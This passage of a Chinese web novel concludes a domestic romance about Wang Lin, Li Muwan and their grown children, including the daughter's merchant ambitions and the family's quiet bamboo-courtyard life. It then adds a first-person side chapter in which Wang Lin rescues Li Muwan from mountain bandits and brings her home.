“哥哥莫不是拿我们家依依取笑的?”李慕婉歪头盯着王依依,也不见她面颊羞涩,倒是一副理所当然的模样,她便确信了其中真假。 “那依依可是看中了哪家?”李慕婉与王林相视一眼,可王林眼中却不见喜色,而是警惕与冰冷。 只一个眼神,李慕婉便知晓他心中所想。“若是有中意的,带回家让爹娘还有祖父母替你掌掌眼。” 倒是有几个,但谈不上多喜欢,顶多是年少情窦初开的冲动,对于少年某一面的欢喜与欣赏,却不深刻。“当真吗?爹爹?”王依依注视着王林的反应。 “你且叫他来家里坐坐,让我看看。”王林收了喜色,一路上眉心紧锁,李慕婉隐约藏着笑。“哦。”王依依开玩笑式应着。 几人身影落在竹林小院,果然,没过几日,约莫五六位青年陆续到竹林小院拜访,名为是要拜谒远游回来的王先生,要与其论道谈学。 王林睨着王依依,仿佛在问她是哪一个。王依依视线飘忽不定,远远站着。 李慕婉陪在他身侧,笑的温婉,几人时不时想要瞥过一眼,却被王林气势镇压,俨然一副被书院先生训斥的低落感。王林久久未出声,王依依与李奇庆两人一人一边靠在檐柱下,看戏一般的磕着瓜子。“谢婶母那拿来的瓜子真不错,得叫她多做一些,我带到药铺去吃。”王依依没心没肺的品尝起瓜子的味道。“你爹这气势,不得把他们都吓走啊。”李奇庆朝她手心拿了些瓜子继续磕。 王依依噙着耐人寻味的笑意,似打定了什么坏主意。 终是有人熬不住,背脊汗渍湿了一块,衣裳颜色变了,那人只觉口干舌燥,起身鞠了一礼,三步并做一步出了院子。 “一个。”王依依吐了瓜子皮,倚着继续看戏。 又过了半柱香,其中一位看似温文尔雅的少年,主动开口,只是话还未说到一半,便被王林噎了回去。 “王先生,晚辈告辞。” 紧接着接二连三。 “晚辈告辞。” 王依依又念着,“两个,三个。” “晚辈告辞……” “晚辈也……” 王林挥了挥衣袖,长叹一口气,收敛起冰冷之意,转而粲然对着李慕婉,若无其事关心道,“婉儿可坐累了?” “无碍。”李慕婉垂眸无奈一笑。 王依依心满意足将瓜皮丢入炉子里,“还得是我爹。” “鬼精灵。”李奇庆在身后摇摇头,又一副佩服的神情。 见她若无其事地从檐下往堂屋去,王林犀利的眸子扫过身影,“站住。” 王依依状若不知,继续走。 “王依依?”王林声音带着严肃。 “爹爹。”王依依这才顿下步子,转身带着一副讨好的笑容。“怎么?你本事不是挺大,要爹爹给你扫清痴缠之人?”王林说,“说吧,这事计划了多久?” 李慕婉一副看破的神色。 “娘亲……”王依依求助地眼神投向她。 “喊你娘亲也不管用,”王林起身搂着她往堂屋去,“往后再有人痴缠你,自己处理。”王依依朝堂屋的背影使了个鬼脸,蹦蹦跳跳跟着进去了。 李奇庆抱紧手臂看了一出好戏。 76、入京 数日后,王依依在与李奇庆入了京,王思礼收了信,早早下朝后便到京城外十里亭候着。刚上任不久的他,恰逢皇帝推行新政,王思礼得以任命,协助各部推行令法,成效反响不错,百姓拥护。 又因协助洗清二十年前李家旧案,获得皇帝青睐,皇帝重用寒门多年,初出茅庐的他在朝中崭露头角,大显身手,仅一年便提拔为户部侍郎。两人入京后住在王思礼的侍郎府上,时隔多年,京城早已变了样,李奇庆立在檐下,默念着:“物是人非。”王思礼忙于公务时,便是许立国陪着两人,王依依隔了一年多未见许立国。再见时,许立国哭诉着,好歹王依依也算他一块带大的,王依依抱着手臂,看着他那委屈巴巴的样子,忍不住揶揄他:“许立国叔叔,你这是怎么了?” “小主子,小许子想你们了。” “你这模样,不知道的还以为思礼欺负你了。”小的时候都是他想着法的哄她,如今王依依觉着怎么变了。“跟着思礼在京城不好么?”王依依说,“还是你想回长乐县跟着爹爹?” 这么一说,许立国也舍不得,“小公子在京城无依无靠的,也就小许子这么一个知心人,还是,还是算了。”“许立国叔叔,我问你,思礼在京城可有什么红颜知己?”王依依挑眉坏笑。 “红颜知己?”许立国这方面在行,话本他可没少看,“小公子玉树临风,京城可不少闺阁小姐心悦咱们家小公子呢。” “哦?快说来听听。”王依依来了兴致。 “小主子,小公子不喜人议论他的事。”许立国话到嘴边又咽回去了。王依依状若生气,捏着拳头欲要揍他的架势,许立国避了避。“你不说,我就去问思礼了。”王依依余光瞥着他,试探道。 “小主子要问就去问,小公子长大后话都少了,跟主子一个样,那些姑娘望而却步,哪里敢跟他说话?”王依依脑子一转,“思礼还小呢,不懂男女之事正常,往后若是接触多了自然会开窍。” 她听过祖母说,爹爹以前也沉默寡言,可后来娘亲来了王家,家里比以往热闹不止,虽说起初爹爹不待见娘亲,总是凶她,后来却为了娘亲愿意放弃仕途。 “小主子,小许子带你们去京城转转吧。”许立国打断她的遐思。 王依依游遍京城,李奇庆倒是见了一些少时故旧。 周紫虹从夫君那听得一些事,户部侍郎王思礼府上来了亲友,这几日告了假。她这才知晓李奇庆入了京城,又闻言住在侍郎府上。 只是可惜,李慕婉未入京城,周紫虹递了邀帖,只当是好友邀约,两人十多年未见,彼此相熟,却仿若又不熟。京城一处茶楼,靠窗的坐台,炉子里煮了茶。 李奇庆看着她挽起的妇人髻,周紫虹移开眼,捧起茶盏,率先道,“当初在殿前王侍郎的策问得了陛下青睐,后来我从父亲口中才得知,那竟是婉儿与王林的孩子。” “也难怪,父母都是才学惊绝之人,他们的孩子又怎会差?” 李奇庆颔首,呷了口茶。 “上次清平镇一别,已是数年,你此次入京,婉儿怎得没有来?” 李奇庆视线扫了扫她,搁下茶盏,“婉儿与王林这些年周游各地,刚从瀛洲回来不久,我此次入京也是同这外甥来走走的。”王依依在茶楼下与新认识的商人款款而谈,周紫虹寻着李奇庆视线,“这是婉儿的女儿,王侍郎的阿姐?” “是啊。”李奇庆目光慈爱。 “你来京城是谈生意的?”周紫虹说。 李奇庆侧回眸端详着她,“是,依依说想打通京城的药商之路,故而陪她来走这一趟。”“那你们要搬来京城吗?”周紫虹怀着一丝期待,“婉儿也会来吗?”“不会,”李奇庆起身凭栏,望着京城街景,“清平镇挺好的,如今那里便是我们的家了。”他生于京城,长在京城,曾经意气风发的少年,最终不得已远离,多年再次回来,终不似少年游。“你成婚了。”李奇庆鬼使神差问出一句,像是憋了许久,仍是远远望着。 周紫虹诧异须臾,而后又展开笑颜,大方道,“是啊,他叫杨雄,原先是我父亲的门生,少时也在百松书院待过,你也认识的。” “杨雄,”李奇庆念着这个名字,一个熟悉的面容出现脑海,“若无记错,当初离京时,他还在大理寺任职。”“是,如今他是大理寺卿,李家案子就是我夫君和王侍郎一同翻案的。”周紫虹望着那抹背影,与少年时无异,他还是他。 周紫虹从清平镇回去京城后,放下多年的执念,答应父亲与杨家联姻,好在杨雄为人诚恳,待她也不错,婚后二人相敬如宾,膝下育有一女,刚过及笄。李奇庆心中闪过一丝复杂之色,杨雄身影从茶楼下晃过,与王依依擦身而过,周紫虹与他欠身行礼,“我该回去了,日后若有机会,希望还能与婉儿再有相见之日。” 李奇庆回头颔首,简单道了二字,“珍重。” 杨雄扶着周紫虹上了马车,王依依刚送走了商人,回头仰着楼上看见李奇庆,与他招手一笑。李奇庆收回落寞的视线,朝她挑出一抹笑意。二人回侍郎府路上,李奇庆心绪低落,默不作声,王依依察觉出他的情绪,问着,“舅舅,那位夫人可是你少时倾心之人啊?”“那是你阿娘少时的闺中密友。”李奇庆恍然后敲了她一脑袋,若无其事说。“哦?那我为何没有听娘亲提起过。”王依依望向繁闹的街道,车轴穿过车水马龙。 “那你回去再问问你娘亲就是了。” “舅舅,经此一行,我收获颇多,京城商贸繁荣,眼下天下安定,正是商贸盛行之时,思礼也说,朝廷会放开商路,我王依依成为赵国第一商人,指日可待。”“依依,银子赚不完的,你为何这么执着啊?” “舅舅不是常说,外祖家从前就是名副京城的皇商吗?”王依依说,“思礼替外祖平反了冤屈,我也想重振咱们李家的名声,男舅不信我?” “那倒不是。”李奇庆说,“你们姐弟两自小做什么,你爹娘都一心支持。你选择跟着我经商起,大肆开拓各州商路,又千方百计收下曹氏水运,我便知道会有这么-日。”“可是依依啊,富可敌国可不是一件好事。”李奇庆敲了敲她头。 王依依摸着痛处,“爹爹说过,若想成就一番事业,瞻前顾后也不是好事。” “这倒像是你爹说的话。”李奇庆无奈一笑。 李奇庆看得出她的经商之才,胆子大,脑子灵活,行事果断,这几年也放手让她一人历练,许多事全权交由她打理,自己倒是轻松不少。只是李慕婉偶尔会念叨他,这女儿留在舅舅家比自己家要多,每每回了竹林小院,舅舅长,舅舅短,三句不离李奇庆。王林吃女儿的醋,几次要在棋局里找回憋闷的气,李慕婉看在眼里,心里笑他。 *** 两人在京城待了月余返回清平镇,王思礼受任巡查地方财政收入,经过长乐县回了一趟王家村。李慕婉与王林从瀛洲回来之后也在王家村住了一段时日,竹林小院的花草被李慕婉打理得很好。山茶开得盛,堂屋和西厢房的花瓶插的都是山茶,这些白瓷是王依依从别的外商那淘来的,价值不菲。 李慕婉坐在白梅树下抚琴,院里山茶香入鼻,绿竹表挟新意。王林拿了一本书坐在琴前翻阅着,琴音绕过竹枝,微风拂过二人发丝,玉冠下的白发犹如银河铺面。琴音逐渐落下,直至终止,王林才把视线移到她身上,见他伸了手臂,李慕婉提起裙摆,朝他走过去,落在他身上。“依依信中说,这两日可能就回到清平镇了,咱们明日去永陵港接接他们吧?”“好。”王林望着她面颊,目光变得炽热,李慕婉只觉大事不妙,身子缓缓被他压下,她抵住了,推着王林胸膛。 “阿兄,你做什么?” 王林抓过她手腕,扣在腰后,无视她的抗拒,朝她面颊落吻,“婉儿说做什么?” “爹娘在堂屋歇息呢。” 王林挑着笑意,“那回房里去。” “你。”李慕婉气急,“不要。” “婉儿没有商量的余地。” 说罢他抱起人就往西厢房去,刚过檐下,竹林院外一声马蹄纵入,王依依勒马停稳,身影率先入内,见着刚上阶的二人,她喊道:“爹爹,娘亲,依依回来了。” 李慕婉从王林臂弯里回头望出去,“依依?”“你们,做什么呢?”她倚在门框上,饶有兴致地打理着两人。“依依回来了?”王林面不改色扫了一眼,并未放下的意思。李慕婉连拍了拍王林,“阿兄,放我下来。” “爹爹,依依是不是回来的不是时候?”她探出身子,挑出笑意。王林轻笑,旋即放下李慕婉,手自然搭在她腰后。“依依,我和你爹爹还想着明日去码头接你们呢。”王依依这才正直身子,“爹爹娘亲猜猜谁回来了?”两人同步歪头打量着身后,见王思礼身影渡进。 “爹,娘,孩儿回来了。”王思礼见着二人也没了在京城为官的正肃,跑着步子抱着两人。李慕婉满心欢喜,“思礼怎么也回来了,是跟朝中告假了?”“说来话长,爹爹,娘亲咱们进屋说吧,祖父祖母呢?”“都在屋里呢。”王林道。 几人入了堂屋,周英素和王天水背弯了些,见着孙儿两人,脸上褶子笑成一团。 周英素忙碌了大半辈子,总是歇不下来,忙前忙后又是端茶又是烧饭,李慕婉要帮手也被她推回堂屋,只道让母子多说会儿话。 王思礼挨着王天水同坐,与众人说明此次回家缘由,王林寒暄几句。 “思礼是又长高了,”李慕婉望着他,“这身量与你爹爹一样。” “铁柱十六岁时个子猛窜,十八九岁了还在长,思礼若随了他爹,还能再长呢。”王天水说。 王依依跑到厨房帮忙去了。 竹林小院又恢复往日的热闹。 翌日李奇庆来了竹林小院,王林与王思礼父子二人谈着策论,李奇庆与王依依下棋对弈,她的棋艺是舅舅教的。 王天水端着烟斗躺在竹椅慢慢悠悠听着琴声,周英素做着女工,时不时说一句“少抽一些”。 李慕婉抚琴望着院内的画面,忆起当初刚来这竹林小院时,院内春景盎然,木碎吹得满院子都是。 那时王天水的背还是直的,周英素的发也是黑的,王林总是端着高冷的脸,时不时睨她一眼。 多年过去,一切都变了,又仿若没变。 *** 之后几年里,王依依致力于发展商路,三年后她如愿以偿让李氏药商做上皇商。要与王家论亲的人踏破门槛,与她陷入情深的倒有不少,只是每过不了半年,熟知后又觉无趣。 李奇庆笑话她。 她却满不在意说:“世间寻乐亦如此,古来万事东流水。爹爹娘亲一生厮守,舅舅终身不娶,我视他们为过客,又何不足一种寻乐,何必在意非得婚姻嫁娶来束缚情爱。”“舅舅明明懂,却还要装作一副高深的模样来与我说。” “是是是,依依这嘴啊,跟你娘亲少时一模一样,想当初她为了你爹爹,可不少与我顶嘴。”李奇庆忆起往事颇有微词。王依依一副见怪不怪,李慕婉失踪那时,爹爹为着娘亲做了何等疯狂之事,她都还有记忆。 是以,无论王林做什么,她都不觉得出奇,而爹爹所做之事,她从祖父祖母那里听得不少,娘亲刚到王家村时,为王家所做之事有过之而无不及。王思礼一路官路亨通,坐上宰辅之位,成为赵国第一个年仅二十就位极宰辅的人。 李奇庆终身未娶,多年郁结在京城回来后便已放下了。 王林仍是带着李慕婉周游赵国各地,每回出去几月又会返回竹林小院陪伴二老。 桃林栈道上,两人身影晃在水面,桃花漫天。王林牵着李慕婉的手,花瓣落在她发丝上,白发搅动,衣袂飘起,留影处洒下几瓣花朵。在那片翠绿的竹林深处,有一座小院,竹影婆娑,清风拂面。阳光透过竹叶间的缝隙洒落下来,点缀在石板小径上,温暖而宁静。 院子里,屋檐下悬挂着几串竹筒和贝壳做成的风铃,轻轻作响。那是两人从瀛洲带回来的海贝,和着远处鸟儿的啁啾声,俨若一副古画。院中的竹几旁王林与李慕婉挨在一块坐,聊着近日的趣事,她靠在王林肩头,偶尔相视一笑,眼中是夫妻二人多年的默契。岁月未在他们面容上留下痕迹,只是在他们身上多了几分韵味,那份从容和温婉,经年累月的愈发摄人心魂。 驻颜丹的功效似乎比他们预料的都要好,这些年李慕婉得空还会炼制丹药打发时间,炼丹时王林便守在一旁,赏着专注的李慕婉他心足。时间仿若静止在这,竹林的风温柔拂过,阳光依旧透过枝叶洒落。 小院的宁静与和谐,把世间纷纷扰扰的疲惫与烦恼烟消云散,唯有爱人与家人在心中蔓延长眠。 浴光下,院子摊了纸笔,王林环抱着李慕婉,白纸落了笔墨,他带着她,提下两行字。 “两情若是久长时,妄贪图朝朝暮暮。” 竹林上空,碧落净亮,白云悬挂,山风轻拂,这便是他,一生所向。竹林客栈缘起,竹林小院情定,他们厮守在这,相伴一生,把彼此刻在骨血里。起风了,两缕白发飘缠在风里,凡世一场,与所爱之人终得圆满。 *** 窥视镜周围的红光隐去,王林神念驱动,窥视镜收回储物袋,他牵起李慕婉的手往湖心亭漫步。 王林与李慕婉相视,攥紧她手,“咱们带着思礼和依依,再去凡间游历一次吧。” “好,听师兄的。” 桃林再次漫起琴音,王林倚着亭柱,饮酒入喉,琴音入耳。 那些了不可见的修真恩怨,早在他布下桃林结界的那年,与世隔绝,此间唯以相守。 【全文完】 77、王林 永正八年,寒窗苦读十八年的我,满载爹娘期许入京赶考,已经离家两月,家书寄了几封,爹娘许是都收到了。 沿途的春景盎然,一副万物复苏之景,以我多年对学术钻研,此次会试中,我有把握能考到功名,完成爹娘的期许,往后爹无需常年久坐木雕还债,娘也无需日夜忧心我的前程。 娘总说家成业立,即便是成家,也得考了功名再谈。 一路北上,听闻天麓山匪患猖獗,所见行人大多结伴而行,我身上银子不多,也都是爹娘这几年辛苦攒下的血汗钱,若山匪当真觊觎我一书生的钱财,我也不会任他劫戮。 只是耽误了入京脚程不值当,得尽快在天黑前找个客栈落脚。 *** “哥哥,过了天麓山是不是就快到临州了。”客栈外的木桌,两个年级相仿的男女喝着清茶,那是一位温婉的女子,年纪像是十六七岁模样,而她身旁坐的男子,瞧着比她大几岁,却是一副端肃君子模样。 “嗯,婉儿这是记着地图呢,”身旁男子摸了摸她头,心疼她随着自己奔波,“天麓山是多地的必经之路,眼下之地,是通往赵国不同东西南北的分叉口,这一路婉儿也瞧见了,许多赶赴京城考试的学子陆续汇集此处。” “嗯,今年春闱人数可不少。” 男子嘱咐道:“婉儿,你在客栈等我,我得回一趟昨日镇子客栈寄一封信。” “哥。”女子扯住他衣角,巡视一周,似乎有些害怕,这还是她第一次远离家,远离京城。男子知晓她心中所想,安抚到,“婉儿不怕,就在客栈歇着,来回最多只需一个时辰,天黑前哥一定回来。” “那哥早去早回,路上当心。”她松了手叮嘱道。 男子点头后翻上马背,疾驰出了林道。 *** 客栈坐落在一处竹林里,离着外头村子还有数里山路,不少行人背着背篓,走了半日。 此刻的我有些口干,歇脚的客栈落满了人,我扫视了一圈,却难找寻到一个空位。小二热情,见着我是书生,好心带着我寻到一个位子。 “这位小哥也是赴京赶考的吧?我这客栈书生不少,都是借宿的,您是要打尖还是住店啊?”小二手里拖着茶盘。 “一杯清茶即可。”再赶路半日便可到下一个镇子,镇子上住店划算一些,也能省下时间。 “好咧,小哥您往这边坐。”小二转身朝客栈去,“一壶清茶。” “多谢。”我刚要坐下,却见对面坐的一位女子,气质温婉,肤如凝脂,眼如点漆。从装扮来看,许是富家小姐,只是富家小姐怎会独身一人出行,我正遐思时,她与我视线相对,朝我率先点了头。 “公子也是赶往京城考试的吧?”她的声音带着轻柔和回响,似比音律动听。 我眨了眨眼,不知为何,心跳似乎比平常快了些,盯了好一会,还是我生平第一次失礼,女子那原本塞雪的面颊透着红,撇过了脸。 没过多时,她又举止大方道,“公子若是不嫌弃,小女子请您喝一杯清茶吧。” “多谢,不必了。”我言语冷漠,带着提防。 一阵清风徐面,似有一阵淡香而来,与这客栈和竹林的味道都不同。 我又情不自禁地往她身上撇了一眼,圣人常说,非礼勿视,思及此话,我便克制自己,平复心绪。 那是我第一次这般想要打量一个人,至于出于什么目的,我也道不清楚。 可她却掩笑没再说话。 “小哥,您的茶。”小二打破了宁静。 “多谢。” “小二,此处到燕州地界还需多少时日啊?”女子寻机问。 我从二人谈话里得知她是要去燕州的,之后便收回心绪,坐了半柱香时辰,我该启程赶路了。 只是此女她既然要前往燕州,却为何又如此悠闲品茶,行客多为匆忙,她倒向是像享受一般,压根不急着赶路。 带着疑虑我起身放了两个铜板的茶钱,背起书箱继续赶路。 她漾出一抹笑,媲美这春日春风暖阳,我面容冷静,没有过多情绪,只是刚起身没走出几步,远处竹林一阵马蹄声踏过,不少赶路人口中胡乱喊着:“山匪来了。” “山匪来了。” 马蹄踩过人的身驱,速度不减,路边倒了些行客。那些山匪直奔客栈而来,他们举着鬼头刀,马蹄带过的风仿若撕裂开了这空地,尘土漫起人头高,惊起林中鸟兽。 只见领头的一位男子肩背粗犷,留着络腮胡,粗鲁朝空旷喊道,“我也不为难你们,只需交出身上钱财,另外……” 那人拿出一张画轴,展开后,入目是一位婉约的女子,颇为熟悉。 “尔等可有看见此人,倘若私藏包庇,那就怪不得我了。”他眼眸透着无情的狠厉。 身后一把竹椅倒下,打破了宁静,霎时间人群纷乱,四散逃窜,而我回头瞧见方才同坐的女子往客栈里跑。 是了,那人手里画卷是她! 可山匪为何要找她?这并非是我该管之事,这种念头闪过,我未多理会,置身事外。 就在这时,山匪似乎捕捉到人影,举起鬼头刀朝身后人下令:“就是她,抓住她,大当家交代,若是反抗,临时处死。” 随着一声令下,山匪跨/下马背,抄起刀便往客栈里冲去,住店的旅客吓成一团。 往竹林后的山道逃窜,那女子掩在人群中,很快便被山匪擒获。 可没过多时。 “你就是李慕婉?”山匪大哥刀尖抵住她的脖颈,“抬起头来。” 那女子目光泛狠,虽然害怕,却未低头,“你们奉谁的命抓我?” “哼,”山匪冷嗤,“少废话,带走。” 她被绑上马,山匪抓了人,我仿若听见还有人说,“大哥,不对啊,大当家说是兄妹二人同行,应该还有一人。” “你哥呢?”那人再次抵着她喉咙。 “不知道。”她执拗不愿说。 那些行路人早已远去,唯独我还滞留在客栈,待山匪远去,我背了书箱继续赶路,只是没走出半里远,又遇见那伙人,山匪似乎在逼问她什么,她身上挂了些草碎,面颊也脏了。 山匪毫无人性,我握了握拳头,权衡利弊,我管不了。 只能漠视这一切。 我以为那些人不会为难我,我若无其事走过去,却仍然堤防着。 只是无意间瞟了一眼,她正紧紧盯着我,眼神里散出希望,我漠视。 “那个书生,过来。”山匪拿刀指着我,使唤我过去。 “何事?”我冷漠应道,若非怕惹事耽误赶路,我也不害怕他们。 “把你身上值钱之物留下来,否则,死。” 我未理会,而是继续往前,那人见我无视他,怒意满腔。 紧接着几位壮汉围上来,我顿下脚步,侧眼时,那女子投来求助的目光,“公子,救我。” 山匪注意力放回她身上,大笑着,“他可救不了你。” “交出值钱物品,饶你一命。”山匪再次胁迫。 “诸位,何必为难我一书生。”瞧我装束,哪里像是有值钱之物?这些山匪头脑简单,不过如此。 可杀! 我唇角溢出一股邪魅,随即转身拿出身上物品,准备呈过去。 近在咫尺中,我运功时手腕转动,山匪受力失了平衡,我趁机手肘借力攻击其下颚。 山匪身子后仰,我再次腾空而起,将全身力量聚集在右腿,朝他胸前落脚,马蹄惊乱中仰起,我稳稳跃上马拉住缰绳,稳住马匹后,夹紧马肚,冲出人群。 “公子。” 伴随女子的求救,我俯身朝她伸手,她双腕被绑于身后,只能眼睁睁望着我。 只一个眼神,我便意会了,屈身前倾,朝她俯下,一手拉着缰绳,双腿夹住马身,另一手绕过她身后,用力时,随着力量整人落在我怀中。 “娘的,被摆了一道,追。” “杀了他们。” “要是被那李慕婉跑了,咱们得提头回去见大当家。” …… 山匪见状赶忙追上,可是马匹驮了两个人,又是山路,跑的并不快。 要追上了。 若想全身而退,只能正面迎敌,击溃他们的追击。 无奈之下,我勒紧缰绳,手里抓着从山匪身上夺来的鬼头刀,未等他们反应,鬼头刀见血,我速战速决,众人倒下后,我身上也受了几处轻伤。 还未断绝气息的山匪已然没了继续追的力气,但是天麓山山匪能常年横行此地,必然势力过人,久留此地亦或者沿着官道出去已经不是首选。 思量一番过后我只能策马沿着小道上山,走入深山后,上山的路封了,马匹上不去,我们无法策马再躲避山匪支援后的追击。 唯有下马探路,躲藏山林才是为今之计。 “公子,那些人是天麓山山匪,我们若是不离开天麓山,恐怕迟早要落入他们手里的,为何还要一直往山上去?”李慕婉喘着息,额间冒着汗珠。 “拿着。”我将从山匪那夺来的刀递给她,刀上还有血迹,她呆愣愣地看着那把刀,清澈的眸子似乎噙着委屈。 我本不耐,反应过来她手还绑着,随即用刀挑断了绳。 李慕婉得以解脱,安分地接过那把鬼头刀。 “公子,是要往深山里去吗?”李慕婉说,“相传天麓山深处常有猛兽出没,堪比十数成人的战力,就连山匪也不敢靠近。曾经有村民传言在山下看见猛虎伤人,官兵派了百来人上山猎杀,却无一人归。” 她话音刚落,深山里便隐隐传出野兽的低吼,她不禁想要往我身上靠近,生怕一不留神便被哪出来的猛兽叼走了。 “害怕了?”我观察周围环境,冷冰冰说,“倘若你怕,眼下就沿我们来时的路回去,看是先死在他们刀下,还是成为猛兽的餐食。” 她应是觉得我与客栈初见时截然不同,垂眼低落转了话题道,“公子是要京城赶考的,若是无法脱身,恐怕。” 我心里惦记着这事,本不想多管闲事,奈何那些山匪咄咄逼人,即便我不出手,也会被山匪杀害。 “那些人为什么要抓你?”我回眸睨了她一眼,想要探清她的底细。 眼神犀利地如寒芒刺背,李慕婉吓得躲开视线,低头温吞道,“我,我也不知道,我身上既无钱财,也无得罪他人,他们为何要置我于死地。” 我心有猜忌,自是不会全信,山匪所言所行,意图明确,是冲她来的。 可她的反应和回话却让我挑不出任何毛病,她不愿意说,那就罢了。 眼下怎么都算是绑在一根绳上的,就算与她撇清干系,下山若是再次遇到山匪,仍然无路可逃。 “山匪性情暴虐,杀人不眨眼,又人多势众,从天麓山一路走来听闻山匪还弑杀□□,若想要逃离他们的追击怕是不易。除非能下山求助官兵或是有像公子这样一身武艺抵抗,若是落入他手,恐怕下场凄惨无比。” “公子虽是书生,方才见你与他们厮杀时,身手不凡,若是公子能带我离开天麓山,小女子愿意结草衔环相报您的救命之恩。” 经过一番探查之下,我接过她手中鬼头刀,只是沿着山路进入深山。 “进去。”我打破她的遐思,她懵了须臾,不知在想什么。 “这是山洞。”她往里面探寻着,洞口外隐约几束光,再往里便是深不见底的暗。 “这种山洞,我们直接进去吗?”李慕婉担心说,“会不会有野兽在里面。” “不会,依这山洞看,洞口的植物并无被破坏的痕迹,也无任何野兽留下的脚印。”我说着便率先入内,洞口落了些枯木,收拾一番后往洞里搬进去,这些枯木可做柴火,晚上有火光能御野兽。 深山被高耸林立的灌木遮盖,天暗的快,那些山匪被我杀掉后,还有几个重伤的,若是几人回去寨子通信,再派人出来也要一时半会,我该斩草除根才是。 倘若他们再次出动必然会惊动官府,即便是冲着这女子来的,若第一次失败,第二次也不会再轻易出手。 只是以防万一,我得在这藏身几日再寻出山之路,而接下来几日,我计划白日寻下山的路,不能再往原来的方向走官道,如此会耽误不少时间。 我虽不想带着她,可眼下两人同行,甩掉她已是无可能,顶多下山后各奔东西。 在山里探查几日后我决定下山返回清平镇,渔符丢了,入不了京,若那些山匪在京城必经之路等着我,便是自投罗网。 为此,我只能放弃入京打算。 下山后,她迟迟不离去,与我说是同兄长走散,可却始终隐藏着为何那些人要追杀她的秘密。 我若有所思看了眼身后的女子,她正扶着一根小木下山,几日跋山涉水,却不见她喊一句累。 若是寻常的富人家小姐,早该喊累了。 我在一刻对她的映像有了些许改观,至少她没我想的那么麻烦。 到了客栈住店的夜里,她的要求又把我对她的印象打碎了。 她麻烦! 此女善于撒谎,见着她眉目里的柔软,却步步泛着算计,而她的算计不过是想暂时寻个安身立命之所。 我并不知她身后藏了什么祸事,心里芥蒂不消,我未答应,也并未拒绝,不知为何无法拒绝她的请求,她的一双眼睛似乎会说话。 她拿了身份鱼符给我看她的身份,我手里轻轻捏着那块身份鱼符,心里默了一遍她的名字。 李慕婉。 这是她的名字。 当我抬眼时,李慕婉正端详着我。 鱼符来看不是假的,我收了她的鱼符,答应带她回家暂住。 就只是暂住! 回到小院,我在堂屋跪求父母留下她时,我明知父母心善会同意,可还是悬着一颗心。 直到娘的一句既来之则安之,垂首的我才解了一件心事。 虽收留了她,我还是害怕家里会因此女而引出祸事,加之错失会考机会,本就有负爹娘。 我心情低落不假,在爹娘面前并未多表露。 娘给她安排了东厢房住,那间房空了许久,只是从西厢房的窗户望去,正好能看见她在妆台下梳妆,家里突然多了一个外人,于我而言,不大自在。 且还是个女子! 早饭时娘随口提了句,昨夜李慕婉特意问她,我为何叫铁柱。 娘是当玩笑说的,可有那么一瞬莫名的别扭,从小爹娘就是这么唤的,村子里也这么叫,这是父母给的名字,我从未考虑过好听还是不好听。 回到家中,我并未闲下来,而是继续温书来年再考。 李慕婉也没闲着! 她把家里布置得跟个花园似的,也没有问过我与爹娘的意见,抛开别的不说,确实比先前的院子多了几分生气。 爹娘似乎比以前更爱笑了,尤其是娘,眉眼中的忧郁在李慕婉来的这些天散了许多。 她很会逗娘开心,除了摆弄花草之外,就是围着娘在厨房里打转。 我在房里温书时,总能听见院里传来的笑声。 她把院子和她的东厢房插满花就算了,把爹在堂屋腾出,用来放置新木雕的置架也一并摆上了花草。 原以为这样便罢,可她不请自来,也在我房里插了花,用竹筒雕刻做成花瓶,倒是别出心裁。还是爹给她刻的,或许这是我失去赶考机会,对于王家而言,算是件幸事吧。 爹娘心善,为人朴实,可我知道李慕婉瞒了事,她的身份并不简单。是我带她回来的,我也要保全爹娘的安危,不能因此连累爹娘。 当她提出要写信去镇子寄往燕州,早日寻到兄长离开王家村,我应下了。 果然,若非我留了心眼,又怎会知晓她除了寄去燕州还寄了一封前往京城,她果然撒谎了。 她来王家村也不过两日,整个村子传开了,我虽不在意乡亲们的言论,可她是女子,这或许于她名声有碍。 而她好似并未放在心里,不知怎的,从王浩家弄了海棠栽了满墙,又与娘商议要跟村里人上山采药。 去就去吧,或许去了一日便哭着回来了。 李慕婉第一次上山,娘亲要我去村口接她,她又不是不认得路。 我不情愿,可娘坚持,我不好忤逆,只能去村口等,她与花影谈笑,看来上山没难着她。 那背篓插满了山茶,她是去采药还是采花的? 王家村下雨这几日,娘的腿疾又犯了,我温书出来时,见着李慕婉专神地替娘熏艾,细烟绕着她轮廓,若隐若现。 她的样貌生得极好。 娘熏艾后腿疾症状好了许多。 我对她的戒备,第一次疏散,也仅仅是一些。 为着娘的腿疾,她钻研医术,寻找治疗医案,王浩家有医书,刚下过雨的路不好走。 她步子迈得谨慎,走在田梗上摇摇晃晃的。 雨后的泥泞沾污了她的绣花鞋,她并未在意,雨落到她肩头,我把伞偏向她。 *** 娘要给我议亲时,我知道爹娘一直盼着我成家。我还未想过议亲之事,可若是要成亲,定然是我自己欢喜之人,也是爹娘欢喜之人。 李慕婉也要添乱! 在从她那却并非如此,她只看谁与我合适,娘听了她的话,挑了个临村的叶清儿儿。 刚经历错失会考一事,为了不让爹娘担心,我只能先应下相看一事,安抚爹娘。 可不知为何,每次李慕婉在我面前提起婚事我都烦躁无比。 想要把气撒在她身上,我知道她没错。 不是她的错! 李慕婉提议要在我房里看书,能省下灯油钱,爹娘攒钱辛苦,况且她若在,也妨碍不到我。 是以,我答应了。 我不喜人碰我东西,她热心时难以让人拒绝,灯油快燃尽时,她会主动添,还做了提神香。 为此,我养了焚香的习惯,她调的提神香味道很好,合我心意。 打小同龄人中都说我性子孤僻,他们畏惧我,远离我,与我井水不犯河水,却从未有人像她一般,一次次冷脸,她仿若从未放在心上,她是在隐忍吗? 为了能让我们家继续收留她,讨好我,讨好爹娘? 可那双眼睛却是那么真诚。 我在纠结信任与猜疑中反复质疑自己,而这种情绪开始扰乱我平静的心。 我把这种感情复杂化了,以至于后来葛阳许浩的出现,让我第一次如此别扭。 我不想理会她的事,可内心却抵触她与那些人接近,是以,看见她与葛阳再次来往时,我少有的生气了。 这一夜,我没有留门,李慕婉在房外唤的那两声,我没应。 直到她离去的脚步声,倔强会让我后悔。 我好似还在期待什么,可等了许久,也没有她再来的声音,而那篇文章我始终没有看进去。 娘很上心我的婚事,李慕婉跟着她忙活,这几日心里憋得很,我对她说了重话,以至于她当真了,翌日就出去找房子。 我不会跟叶清儿成婚,却以这个理由让她搬出去,这几日院子里清净得很,她早出晚归,只为能早日寻得房子搬出去。 因着成婚一事,为了能让她名正言顺住在家中而不被人议论,爹娘想了个周全之策,认李慕婉做女儿。 这事没成,但李慕婉因此改了称呼,唤我“阿兄”。 我觉得别扭! *** 